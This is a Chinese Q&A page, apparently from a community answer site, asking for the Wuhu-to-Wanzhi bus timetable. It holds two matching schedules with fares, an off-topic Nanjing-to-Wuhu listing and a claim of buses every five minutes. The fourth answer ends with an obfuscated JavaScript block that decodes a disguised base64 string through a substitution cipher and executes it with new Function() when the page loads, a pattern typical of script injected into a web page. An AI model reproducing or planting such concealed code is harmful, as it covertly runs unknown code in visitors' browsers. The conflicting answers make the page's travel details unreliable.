安徽芜湖到湾址镇的长途汽车时刻表?

2025-01-07 23:48:21
推荐回答(4个)
回答1:

车次 时间 线路 终点 到站 车型 票价(全) 票价(童)
9201 6:00 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9203 6:20 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9205 6:45 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9209 7:15 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9211 7:35 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9213 7:50 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9215 8:05 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9217 8:20 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9219 8:30 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9221 8:45 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9223 9:00 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9225 9:15 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9227 9:30 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9289 9:45 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9231 10:00 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9233 10:15 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9235 10:30 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9237 10:45 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9239 11:00 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9241 11:15 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9243 11:30 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9245 11:50 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9247 12:10 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9249 12:25 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9251 12:40 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9253 12:55 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9277 13:10 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9257 13:25 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9255 13:40 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9259 13:55 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9261 14:10 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9263 14:25 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9265 14:40 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9267 14:55 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9269 15:10 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9281 15:25 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9271 15:40 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9287 15:55 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9273 16:10 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9275 16:25 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9279 16:40 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9294 16:55 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9283 17:10 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9297 17:30 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9291 18:00 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9292 18:40 芜湖-湾沚 湾沚 中型高一 8.00 4.00
9293 19:30 芜湖-湾沚 湾沚 中型高一 8.00 4.00

回答2:

楼主你好:
车次 时间 线路 终点 到站 车型 剩余座位 票价(全) 票价(童)
9201 6:00 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9203 6:20 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9205 6:45 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9209 7:15 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9211 7:35 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9213 7:50 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9215 8:05 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9217 8:20 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9219 8:30 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9221 8:45 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9223 9:00 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9225 9:15 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9227 9:30 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9289 9:45 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9231 10:00 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9233 10:15 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9235 10:30 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9237 10:45 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9239 11:00 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9241 11:15 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9243 11:30 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9245 11:50 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9247 12:10 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9249 12:25 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9251 12:40 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9253 12:55 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9277 13:10 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9257 13:25 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9255 13:40 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9259 13:55 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9261 14:10 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9263 14:25 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9265 14:40 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9267 14:55 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9269 15:10 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9281 15:25 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9271 15:40 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9287 15:55 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9273 16:10 芜湖-湾沚 湾沚 中型高一 30 8.00 4.00
9275 16:25 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9279 16:40 芜湖-湾沚 湾沚 中型高一 31 8.00 4.00
9294 16:55 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9283 17:10 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9297 17:30 芜湖-湾沚 湾沚 中型高一 31 8.00 4.00
9291 18:00 芜湖-湾沚 湾沚 中型高一 31 8.00 4.00
9292 18:40 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00
9293 19:30 芜湖-湾沚 湾沚 中型高一 32 8.00 4.00

回答3:

上车站
到站
发车时间
班次
终点站
车型
票价
座位数
南京客运南站
芜湖
18:00
kk0723
芜湖
大宇
36
38
南京客运南站
芜湖
18:30
kk0724
芜湖
大宇
36
38

回答4:

每五分钟一班!

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();